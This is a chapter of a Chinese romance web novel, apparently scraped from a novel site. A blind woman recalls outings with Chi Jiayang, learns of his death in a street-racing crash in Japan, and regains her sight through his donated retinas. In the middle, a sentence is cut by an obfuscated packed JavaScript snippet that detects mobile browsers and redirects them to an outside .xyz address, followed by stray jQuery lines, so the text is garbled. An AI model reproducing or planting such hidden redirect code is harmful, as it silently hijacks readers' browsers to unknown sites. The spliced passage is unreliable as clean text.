村里都是水泥铺的路，路面上还有层薄薄的雪碴子，不知道是之前下的雪没清扫干净，还是这几天湿气太重冻在了路面上，踩在鞋底下“咔嚓咔嚓”地响，硌得慌，还有点滑，温惊竹不得不有些紧地反握住迟嘉洋手，这下两人的牵手便有了顺理成章的理由。
实际迟嘉洋也不知道去哪儿，只是临行前待在那院子里实在闷，闷得快要窒息了，一口气都喘不上。
和温惊竹出来后，隔围巾呼吸着外面生冷的空气，这样的空气在围巾无数细小的缝隙中穿梭着，被吸进来，被呼出去，围巾便有点湿湿的，他才好受许多。沿这条小路一直走，路过了一条被冻住的小溪。
“还记不记得之前带你去抓小龙虾？”他看过去，“这村里也有一条小溪欸，只是被冻住了，我们过去看看？”
“啊……”
“放心，没有牛粪。”他一语中的，“这里没有牛。”
“没想到你还记得这个。”温惊竹笑。
走下坚硬的水泥路，又踩到柔软的草地上，当初的心理阴影还在，温惊竹每一步还是发怵。
迟嘉洋一边牵着她走一边说：“我还知道好多呢。只是没想到你对抓小龙虾那么抵触，我们抓黄鳝的时候你肯定也在桥上等得很无聊吧？不知道怎么了，那会儿就是上瘾了，我每天都想抓小龙虾。我好像就是会在某段时间对某样东西特别沉迷，但过了那一阵就好了。我之前是不是总是不太顾得上你？还有很多其他事……是不是？”
“啊？”
怎么忽然就提起从前了，还说得这么详细？温惊竹一时有些反应不过来。
迟嘉洋带她在溪边的一片干草垛上坐下，倒很舒服，只是听不见面前溪水流淌的声音，也没有夏日的那么多虫鸣。那会儿的虫鸣此起彼伏的，以很高的重合度响在一起，甚至到了一种恼人的程度，现在没有这样的声音了，反而有些怀念，只有风穿过层林的沙沙声，到底不如夏季那么有生命力。
温惊竹和迟嘉洋并排坐着，却因为厚厚的羽绒服而隔开段距离，活像两只挨在一块儿的胖企鹅。
不知道迟嘉洋为什么突然纠结起之前的事，温惊竹总把那些事在心里一遍一遍地磨，如今都差不多放下了，没什么实感了，只是在抚过那些往事时难免会碰到自己愈合好伤口后的疤，坑坑洼洼的。
迟嘉洋继续问：“小竹子，我是个很坏很坏的人吧？”
“为什么突然说这些？”
“不知道……”他声音变有些虚，“可能人在这种时候就喜欢想些以前的事吧。”
“那我没有觉得你很不好……”她说了违心的话，因为并不想计较那些疙疙瘩瘩，在整个迟家与迟嘉洋本人都很失意落寞的时候，她希望他能开心点儿就好，并且她觉得现在的他也和以前不太一样。
迟嘉洋笑了笑。
她这话显然没有说服力。
“真的。”她反而认真起来，也跟着回想，“你想想，你第一次带我去面剧的时候怎么说的？我17年里几乎没怎么出过门，你都还不太相信，然后你带我去了很多地方，我现在都记得清清楚楚，虽然我在烟城长大，可我都没有去过那条有古代建筑的小吃街，更别说酒吧……”
神思又飞回到几年前，虽然她看不见天空，可是她仰起脸朝着天幕，露出很幸福的笑容：“你多好啊，我什么都看不见，你还愿意带我去很多地方。”
“那不够……”
至少不够让他成为她最依赖最重要的人。
那种可以被称为“恋人”的人。
那时候他的确嚣张跋扈，很多人和事都不放在眼里，更别说温惊竹了。
他根本就不会去考虑她的感受，把她带在身边更像是一时兴起，偶尔是认为她像个漂亮玩具可以带出去炫耀一番，偶尔是觉得有个陪伴，但往往因为把她带在身边的种种不方便，他就烦了。
温惊竹继续说自己的：“其实去过那么多地方，很奇怪，可能因为我们今天坐在这个村子里偏僻没人的地方，四周都空荡荡的，我现在印象最深刻的竟然是你带我去钓鱼。那个时候也是，风毫无遮拦地往身上撞，和在市里有建筑的地方的风不一样。你钓了一通宵，也是这样的夜，只是是夏天，我真觉得无聊极了，也困得要死，可满脑子都是你说的天上亮闪闪的北极星和金色的鱼，我后来经常做这样的梦……”
“是吗？我那时和你说我钓上了一条金色的鱼吗？”迟嘉洋看着她笑。
她还是仰面朝天的样子，只是眼里亮亮的，看得迟嘉洋笑意停住，有些愣。
那样的亮光，应该是被月光照的。
今天的夜空万里无云，天气很好。
他忽然想，如果温惊竹能看见该多么好。
其实她当初拒绝自己提议的接受视网膜手术，实际是对自己失望至极吧。
“是啊。”温惊竹继续徜徉在自己的回忆里。
那时在去钓鱼的路上，她就听迟嘉洋说：这片水库里或许能钓出金色的鱼。那段时间她每天都期待和他出去玩，只是他不爱带她玩了，暑假也快到了，孟皓琦也快回来了，于是她很稚气地在心里许愿：上天啊，如果她能和迟嘉洋有个好结果，就让迟嘉洋今晚钓上一条金色的鱼吧。
“但是那条鱼不是金色的啊，小竹子！”迟嘉洋笑得前仰后合，挽住她被羽绒服包裹起来的手臂，“是我骗你的，小竹子！因为我看你都要睡过去了，我是想让你开心点。”
“其实那只是一条银灰色的丑丑的小鱼罢了，后来我又把它扔回了水库里。”
“对了小竹子，这次我回日本，你可以送我去机场了吧？”
温惊竹沉默了很久才点点头：“可以。”
她低回头，眼里没有方才的光亮了。
迟父迟母现在只有一辆很便宜的代步车，一辆不太大也没什么动力的SUV，和之前刘晓栋那辆差不多。
带上温惊竹一起，他们一同送迟嘉洋去青城坐飞机，一个半小时的路程。路上大家都没怎么说话，迟夫人也不再像以前那样滔滔不绝了，只有迟父放的老歌在呕呕呀呀唱着，从有些劣质的车载音响传出来。
到了机场安检口，温惊竹又是那样定定地站在那儿，看不到迟嘉洋离开，更感受不到他的任何。
他最后说：“妈，把我的那辆野马卖了吧。”
—【第五年 3月21日不见】—
温惊竹是在电话里得知迟嘉洋去世的消息的。
那时她和铃铛在一起，手机响了，铃铛看了眼：“是迟夫人。”温惊竹点点头，铃铛于是接通电话，将手机递给她。
“喂？惊竹？”迟夫人声音更老了十岁，“和你说一件事，但是你得做好心理准备。”
冥冥中已经料到和迟嘉洋有关：“好。”
只是没想到是噩耗。
“迟嘉洋在日本出车祸了，是他自己和朋友在晚上飙车。”那边的声音徐徐飘过来，这时温惊竹还抱着什么希望，或许是受伤了，残废了，可电话里说：“抢救了不到一天，还是不行。”
“他走了，我和叔叔现在在日本，会把他的遗体带回来，没敢事先告诉你，也没想到会告诉你这样的消息。”
温惊竹两步走到窗边，将窗户完全敞开，上半身全探出去，好像不急剧地大口地呼吸着外面的空气就会在下一秒憋死。
铃铛受到惊吓，冲到她身边，但温惊竹只是定定地保持着这样怪异的姿势而已，她那双看不见的眼睛又在这种姿势下没有聚焦，很可怕。
楼下的车乱七八糟地穿行，各种价格不高又有些剐蹭痕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588712|171777||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迹的小轿车，摇摇晃晃就是骑不成直线的小电动，横冲直撞的三轮，不断吆喝的商贩，都在这条并不宽敞的街道上各显神通。这座迟嘉洋从小长大的城市仍旧维持着它糟乱又匆忙的日常，温惊竹才迟疑地发出一声：“嗯……”
“对了，迟嘉洋他，”迟夫人终于哽住，吐字越发艰难，“他昨晚短暂地清醒了一会儿，和我们说了些话，并且说要把视网膜捐赠给你，这也是他的遗愿。协议已经签好，我和叔叔正在和医院交涉这件事，惊竹，你的钱都在阿姨这儿，阿姨动了些，但也留了些，不够的部分会去借，等这事有结果后和你说吧，时刻保持手机畅通。”
温惊竹说不出什么，迟夫人声音又传来：“听到了吧？惊竹，我要挂了，坚强点，铃铛现在在不在你身边？”
“在。”
她特别特别勉强地挤出这个字。
迟夫人挂断了，温惊竹一时脱力，铃铛眼疾手快地将她一把扶住：“到底怎么了？”
—【第五年 4月14日新世界】—
这是温惊竹能看见这个世界的第七天。
她半躺在烟城医院的病房里，用一个月时间接受了迟嘉洋的永远离开，又用一个周时间适应了新世界，只是她看见什么事物都感到特别惶恐。
她要将每一样实体和曾经脑中的概念、她的嗅觉与触觉相匹配，又知道这个世界上再也没有迟嘉洋了，唯独他她无法同实物相对应，但是她每天脑子里都是他的声音：小竹子，这里是医院，你看这里全都是白色是不是也挺无聊的……还全是消毒水的气味。
外面是陌生的一切，内里是莫大的悲伤。
她明天就要出院了，迟母刚来看过她一趟，才离开，给她带了很多水果，又提前将一些需要带回海县的东西给拿回去。
如今她和迟父重新做起生意，规模不大，也没雇人，所以店离不开他们，明天就由她去看店，迟父来接温惊竹和铃铛回去，温惊竹这双眼睛还需要用几个月药、定期复查，确切来说这是迟嘉洋的眼睛。
她以前总觉得他恶劣，现在似乎也是，要不然他怎么会在日本和朋友们飙车然后出事呢？
她总是很恨他这一点，可他竟然在昏迷的短暂的清醒中说要把视网膜捐给她。
宁静的下午，依旧无言，窗外却有一阵阵鸟鸣，医院这周围格外安静，唯一的嘈杂便是来自于前来探望的家属。
铃铛在她的床边削苹果，忽然说：“惊竹，我觉得有一件事我必须告诉你。”
温惊竹没吱声，她继续说：“今年过年那会儿，迟嘉洋不是去了一趟你住的地方吗？那时候你随手把记事本放在客厅的躺椅边，他直接解开锁看了。”
温惊竹瞳孔猛地缩紧：“怎么解开的？”
“直接输了密码解开的。”
“输了一次就解开了？”
“对，就想了一下，然后输了一次就解开了。”铃铛手上的动作停了会儿，也不知道该不该问，“所以密码不会是你的生日吧？”她笑。
“是他的生日。”
铃铛嘴张成了“o”。
她还不习惯温惊竹能够看见，所以完全不掩饰自己的表情和动作，意识到这点后，她马上正经脸，低头若无其事地继续削苹果：“其实，其实……我肯定没看过你记事本的，但我能隐约猜到里面的内容是什么。那会儿迟嘉洋直接拿起来，像是想尝试一下，我没有管，因为我觉得随便他摆弄吧，反正他也不知道密码是什么，结果他一下子就打开了……他看着我，比了个‘嘘’，我惊讶得说不出话。”
“我就想，我就想……”
“或许应该让他知道你的秘密吧。”
“我现在就是想告诉你……他知道的。”
在离开这个世界之前，他知道的。